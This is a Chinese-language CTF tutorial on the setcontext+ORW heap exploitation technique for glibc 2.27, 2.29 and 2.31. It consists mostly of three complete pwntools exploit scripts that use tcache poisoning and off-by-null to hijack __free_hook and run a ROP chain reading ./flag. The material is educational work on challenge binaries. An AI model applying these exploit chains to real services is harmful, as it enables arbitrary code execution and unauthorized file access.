setcontext+orw 大致可以把2.27,2.29做為兩個分界點。
我們先來討論 2.27 及以下的 setcontext + orw 的寫法。
首先 setcontext 是什么?了解過 SROP 的師傅應該知道 pwntools 自帶了一款可以控制寄存器值的工具。模板如下:
frame = SigreturnFrame() frame.rsp = xxx frame.rdi = xxx frame.rsi = xxx frame.rdx = xxx frame.rip = xxx
它實質上就是依靠 setcontext 來實現的,我們從 IDA 里看看它究竟啥樣。
我們可以很清楚地看出它的作用是通過 rdi 寄存器里的地址附近的地址里的值來給設置各個寄存器的值。glibc2.27 我們通常從 setcontext + 53 開始使用,也就是 mov rsp, [rdi+0A0h] 那一行,在閱讀其他師傅的文章后知道是因為上面的 fldenv byte pte [rcx] 會造成程序執行時直接 crash。從 setcontext + 53 開始我們可以看到我們會給各個寄存器賦值。值得注意的是,mov rcx, [rdi+0A8h] 和 push rcx 實質上是在給我們的 rip 進行賦值。而眾多寄存器唯一不可控制的是 rax寄存器,因為不僅沒給 rax 賦值還在最后有一個 xor eax,eax 。但這也意味着我們一定可以把 rax 設置成 0 。大部分題目中通過控制 rsp 和 rip 就可以很好地解決堆題不方便直接控制程序的執行流的問題。我們通常是吧 setcontext + 53 寫進 __free_hook 或者 __malloc_hook 中,然后建立或者釋放一個堆塊,此時的 rdi 就會是該堆塊的 chunk 頭,那如果我們提前布局好堆,就意味着我們可以控制寄存器並劫持程序的執行流。
大體上思路差不多是兩種(此處僅討論 orw),第一種是直接控制程序執行流去執行ROP鏈,另一種是先用 mprotect 函數開辟一段可讀可寫可執行的空間再跳到上面去執行 shellcode。個人是比較喜歡直接執行 ROP 鏈的方法。
拿一個國賽的題 silverwolf 來加深 2.27 setcontext+orw
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./silverwolf') libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so') def add(size): s.sendlineafter(b'Your choice: ', b'1') s.sendlineafter(b'Index: ', b'0') s.sendlineafter(b'Size: ', str(size)) def edit(content): s.sendlineafter(b'Your choice: ', b'2') s.sendlineafter(b'Index: ', b'0') s.sendlineafter(b'Content: ', content) def show(): s.sendlineafter(b'Your choice: ', b'3') s.sendlineafter(b'Index: ', b'0') def delete(): s.sendlineafter(b'Your choice: ', b'4') s.sendlineafter(b'Index: ',b'0') for i in range(7): add(0x78) delete() edit(b'a'*0x10) delete() show() s.recvuntil(b'Content: ') heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000 success('heap_base=>' + hex(heap_base)) add(0x78) edit(p64(heap_base + 0x10)) add(0x78) add(0x78) edit(b'\x00'*0x23 + b'\x07') delete() show() libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) pop_rdi_ret = libc_base + 0x00000000000215bf pop_rsi_r15_ret = libc_base + 0x00000000000215bd pop_rdx_ret = libc_base + 0x0000000000001b96 pop_rax_ret = libc_base + 0x0000000000043ae8 syscall_ret = libc_base + libc.sym['read'] + 0xf ret = libc_base + 0x00000000000008aa __free_hook = libc_base + libc.sym['__free_hook'] setcontext_53 = libc_base + libc.sym['setcontext'] + 53 write_addr = libc_base + libc.sym['write'] flag_addr = heap_base + 0x1000 stack_addr_1 = heap_base + 0x2000 stack_addr_2 = heap_base + 0x20a0 orw_addr_1 = heap_base + 0x3000 orw_addr_2 = heap_base + 0x3060 orw = p64(pop_rdi_ret) + p64(flag_addr) orw+= p64(pop_rsi_r15_ret) + p64(0) + p64(0) orw+= p64(pop_rax_ret) + p64(2) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(3) orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0) orw+= p64(pop_rdx_ret) + p64(0x100) orw+= p64(pop_rax_ret) + p64(0) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(1) orw+= p64(pop_rsi_r15_ret) + p64(heap_base + 0x4000) + p64(0) orw+= p64(pop_rdx_ret) + p64(0x100) orw+= p64(write_addr) #0xd0 payload = b'\x02'*0x40 payload+= p64(__free_hook) #0x20 payload+= p64(flag_addr) #0x30 payload+= p64(0) #0x40 payload+= p64(stack_addr_1) #0x50 payload+= p64(stack_addr_2) #0x60 payload+= p64(orw_addr_1) #0x70 payload+= p64(orw_addr_2) #0x80 edit(payload) add(0x10) edit(p64(setcontext_53)) add(0x20) edit(b'./flag') add(0x50) edit(p64(orw_addr_1) + p64(ret)) add(0x60) edit(orw[:0x60]) add(0x70) edit(orw[0x60:]) add(0x40) delete() #gdb.attach(s) s.interactive()
接下來我們來看 2.29 的 setcontext + orw ,2.29 最大的變動就是 setcontext 里控制寄存器由 rdi 變成了 rdx,這就使得我們無法通過直接控制 free 的堆塊來控制寄存器。所以我們要用到一些 gadget 來把 rdi 和 rdx 轉換一下。
在2.29里我認為這兩個 gadget 比較好用,我先選擇了下一個,如果我們把 __free_hook 改成了這個 magic_gadget,再去 free 一個我們布局好的堆塊。這個堆塊把 rdi+8 地址里的值改為我們布好偏移的堆塊的地址,再把 rdi 的值改為 setcontext+53 的值。 free 這個堆塊其實就是在把 rdi 設置好的情況下,去執行了 setcontext 來控制寄存器。
拿 2019-BALSN-CTF-plaintext 來加深 2.29 的setcontext + orw
有一個 2.29 的 off by null,在off by null 那一篇文章提到過。且這里為了好調試,我關閉了本地aslr。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./plaintext') libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so') def add(size,content): s.sendlineafter(b'Choice: ' , b'1') s.sendlineafter(b'Size: ' , str(size)) s.sendafter(b'Content: ' , content) def delete(index): s.sendlineafter(b'Choice: ' , b'2') s.sendlineafter(b'Idx: ' , str(index)) def show(index): s.sendlineafter(b'Choice: ' , b'3') s.sendlineafter(b'Idx: ' , str(index)) def clean(): for i in range(2): add(0xe0 , b'a') # 0-1 for i in range(5): add(0xc0 , b'a') # 2-6 for i in range(9): add(0x70 , b'a') # 7-15 for i in range(16): add(0x60 , b'a') # 16-31 for i in range(16): add(0x10 , b'a') # 32-47 for i in range(8): add(0x1000 , b'a') # 48-55 add(0xb70 ,b'a') # 56 clean() # clean bins prouced by seccomp and make second byte of the address of large bin is \x00 for i in range(7): add(0x28 , b't') # 57-63 add(0xb20 ,b'large') # 64 add(0x10 ,b'a') # 65 delete(64) add(0x1000 ,b'a') # 64 make old chunk_64 to large bin add(0x28 , p64(0) + p64(0x521) + p8(0x40)) # 66 # make fake_chunk's fd->bk = fake_chunk add(0x28 ,b'a') # 67 add(0x28 ,b'a') # 68 add(0x28 ,b'a') # 69 add(0x28 ,b'a') # 70 for i in range(7): delete(i+57) # full tcache delete(69) delete(67) for i in range(7): add(0x28 , b't') # 57-63 add(0x400 ,b'a') # 47 touch off malloc_consolidate() add(0x28 ,p64(0) + p8(0x20)) # 49 successfully make fake_chunk's fd->bk = fake_chunk # make fake_chunk's bk->fd = fake_chunk add(0x28 ,b'clean') # 71 clean tcache for i in range(7): delete(i+57) # full tcache delete(68) delete(66) for i in range(7): add(0x28 , b't') # 57-63 add(0x28 ,p8(0x20)) # 66 # off by null add(0x28 ,b'clean') # 68 add(0x28 ,b'a') # 72 add(0x5f8 ,b'a') # 73 add(0x100 ,b'a') # 74 delete(72) add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 72 delete(73) # leak libc and heap addr add(0x40 ,b'a') # 73 show(68) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) add(0x28 ,b'a') # 75 = 68 delete(57) delete(68) show(75) heap_base_addr = u64(s.recv(6).ljust(8,b'\x00')) + 0x1e0 - 0x10 success('heap_base_addr=>' + hex(heap_base_addr)) __free_hook = libc_base + libc.sym['__free_hook'] setcontext_53 = libc_base + libc.sym['setcontext'] + 53 magic_gadget = libc_base + 0x000000000012be97 ''' mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; ''' pop_rax_ret = libc_base + 0x0000000000047cf8 pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 ret_addr = libc_base + 0x000000000002535f syscall_ret = libc_base + libc.sym['read'] + 0xf # setcontext add(0x28 ,b'a') # 57 = 75 add(0x28 ,b'a') # 68 delete(70) add(0x40 ,p64(0)*5 + p64(0x31) + p64(__free_hook)) # 70 add(0x28 ,b'a') # 76 add(0x28 ,p64(magic_gadget)) # 77 flag_addr = heap_base_addr + 0x60 + 0x10 fake_stack_addr = heap_base_addr + 0x60 + 0x30 - 0xa0 orw_addr = heap_base_addr + 0x60 + 0x10 + 0x50 bss_addr = libc_base + libc.bss() add(0x28 ,p64(setcontext_53) + p64(fake_stack_addr) + b'./flag\x00\x00') # 78 add(0x28 ,p64(orw_addr) + p64(ret_addr)) # 79 orw = p64(pop_rdi_ret) + p64(flag_addr) orw+= p64(pop_rsi_ret) + p64(0) orw+= p64(pop_rax_ret) + p64(2) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(3) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_ret) + p64(0xe) orw+= p64(pop_rax_ret) + p64(0) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(1) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_ret) + p64(0xe) orw+= p64(pop_rax_ret) + p64(1) orw+= p64(syscall_ret) add(0x100 ,orw) # 80 #gdb.attach(s) delete(78) s.interactive()
接下來就是 2.31 的 setcontext+orw
和之前版本的區別是setcontext 的位置變成了 setcontext+61
而且之前 2.29 發現的gadget只剩下一個了
我們把那個 plaintext 重新用2.31編譯了一下,且沒開沙盒這樣就可以省去填充沙盒開辟出來的堆塊的步驟了。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./note1') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content): s.recvuntil(b'Choice: ') s.sendline(b'1') s.recvuntil(b'size: ') s.sendline(str(size)) s.recvuntil(b'content: ') s.send(content) def delete(index): s.recvuntil(b'Choice: ') s.sendline(b'2') s.recvuntil(b'idx: ') s.sendline(str(index)) def show(index): s.recvuntil(b'Choice: ') s.sendline(b'3') s.recvuntil(b'idx: ') s.sendline(str(index)) for i in range(6): add(0x1000 ,b'a') # 0-5 add(0x1000 - 0x410 ,b'a') # 6 for i in range(7): add(0x28 ,b't') # 7-13 add(0xb20 ,b'large') # 14 chunk head address is 0x......0040 add(0x10 ,b'a') # 15 delete(14) add(0x1000 ,b'a') # 14 add(0x28 ,p64(0) + p64(0x521) + p8(0x70)) # 16 # make fake_chunk's fd->bk = fake_chunk add(0x28 ,b'a') # 17 add(0x28 ,b'a') # 18 add(0x28 ,b'a') # 19 add(0x28 ,b'a') # 20 for i in range(7): delete(i+7) delete(19) delete(17) for i in range(7): add(0x28 ,b't') # 7-13 add(0x400 ,b'a') # 17 add(0x28 ,p64(0) + p8(0x50)) # 19 # make fake_chunk's bk->fd = fake_chunk add(0x28 ,b'a') # 21 clean tcache for i in range(7): delete(i+7) delete(18) delete(16) for i in range(7): add(0x28 ,b't') # 7-13 add(0x28 ,p8(0x50)) # 16 # off by null add(0x28 ,b'a') # 18 clean fastbin add(0x28 ,b'a') # 22 add(0x5f8 ,b'a') # 23 add(0x100 ,b'a') # 24 delete(22) add(0x28 ,b'a'*0x20 + p64(0x520)) # 22 delete(23) # leak libc and heap add(0x18 ,b'a') # 23 show(19) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) add(0x28 ,b'a') # 25 add(0x28 ,b'a') # 26=18 delete(20) delete(18) show(26) heap = u64(s.recv(6).ljust(8,b'\x00')) success(hex(heap)) add(0x28 ,b'a') # 18=26 add(0x28 ,b'a') # 20 __free_hook = libc_base + libc.sym['__free_hook'] setcontext_61 = libc_base + libc.sym['setcontext'] + 61 magic_gadget = libc_base + 0x0000000000154930 bss_addr = libc_base + libc.bss() pop_rax_ret = libc_base + 0x000000000004a550 pop_rdi_ret = libc_base + 0x0000000000026b72 pop_rsi_ret = libc_base + 0x0000000000027529 pop_rdx_r12_ret = libc_base + 0x000000000011c371 syscall_ret = libc_base + libc.sym['read'] + 0x10 ret_addr = libc_base + 0x0000000000025679 stack_addr = heap + 0x40 orw_addr = heap + 0x100 ''' mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; ''' # attack delete(18) delete(20) add(0x40 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook)) #18 add(0x20 ,b'a') # 20 add(0x20 ,p64(magic_gadget)) # 27 add(0x10 , p64(0) + p64(stack_addr)) # 28 success(hex(stack_addr)) stack = b'./flag\x00\x00' + p64(0)*3 + p64(setcontext_61) stack+= b'\x00'*(0xa0-0x28) stack+= p64(orw_addr) + p64(ret_addr) add(0xb0 ,stack) # 29 orw = p64(pop_rdi_ret) + p64(stack_addr) orw+= p64(pop_rax_ret) + p64(2) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(3) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0) orw+= p64(pop_rax_ret) + p64(0) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(1) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0) orw+= p64(pop_rax_ret) + p64(1) orw+= p64(syscall_ret) add(0x100 ,orw) # 30 #gdb.attach(s) delete(28) s.interactive()
提取碼:efi9
參考鏈接
https://blog.csdn.net/yongbaoii/article/details/119544590
https://blog.csdn.net/carol2358/article/details/107115485
https://blog.csdn.net/A951860555/article/details/118268484
https://blog.csdn.net/weixin_43960998/article/details/115838190